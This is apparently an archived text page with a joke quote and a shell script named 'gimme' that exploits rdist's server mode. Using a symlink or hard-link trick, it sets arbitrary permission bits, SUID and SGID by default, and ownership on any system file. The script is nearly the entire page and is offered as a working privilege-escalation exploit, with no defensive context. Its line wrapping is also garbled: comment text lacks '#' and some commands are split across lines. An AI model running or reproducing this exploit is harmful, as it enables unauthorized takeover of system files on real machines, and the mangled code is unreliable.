I can remember that I got it that way.
$) Henri Karrenbeld
-----------------------------------------------------------------------------
Hardware, n.:
The parts of a computer system
that can be kicked.
-----------------------------------------------------------------------------
A Shell Script Called gimme, Used To
Read Any System File
----------------cut here
#! /bin/sh
# GIMME - "gimme' a file"
# Demonstrate rdist's ability to give me permission to access anything.
#
# gimme <pathname> [<permission> [<directory>]]
# <pathname> is the target file.
# <permission> is the octal mode
to which the file access permission
#
should be set. Note that this may not be effective unless
#
either the SUID (4000) or SGID (2000) bits are also requested.
# <directory> is the target directory
for rdist to use if a hard
#
link is desired. Note that the user must have permission
#
to create this directory, it must be on the same filesystem
#
as the target file, and the target file must not be a
#
directory. This option is necessary to change the ownership
#
of the target if chown() of a symbolic link modifies the
#
link itself, and not the file it refers to.
#
dirname=gimme$$
deftemp=/tmp
defperm=6777
if [ $1x = x ]; then
echo "Usage: $0 <pathname>
[<permission> [<directory>]]" >&2
exit 1
fi
if [ $2x != x ]; then
perm=$2
else
perm=$defperm
fi
if [ $3x != x ]; then
link="ln"
temp=$3/$dirname
target=$1
else
link="ln -s"
temp=$deftemp/$dirname
case $1 in
/*)
target=$1
;;
*)
target=`pwd`/$1
;;
esac
fi
trap "rm -fr $temp; exit 1" 1 2 15
umask 66
mkdir $temp; if [ $? != 0 ]; then
exit 1
fi
set `whoami` $LOGNAME
user=$1
set daemon `groups`
while [ $# != 1 ]; do
shift
done
group=$1
(
echo "t$temp/something"
echo "R0 $perm 1 0 $user $group
"
while [ ! -f $temp/rdist* ];
do
sleep 1
done
set $temp/rdist*
rm -f $1
if $link $target $1 >&2;
then
echo "" | dd bs=3 conv=sync 2>/dev/null
echo ""
echo 0 > $temp/status
else
echo 1 > $temp/status
fi
exit
) | rdist -Server
status=`cat $temp/status`
rm -fr $temp
exit $status
-----------------------------cut here
Back to
Index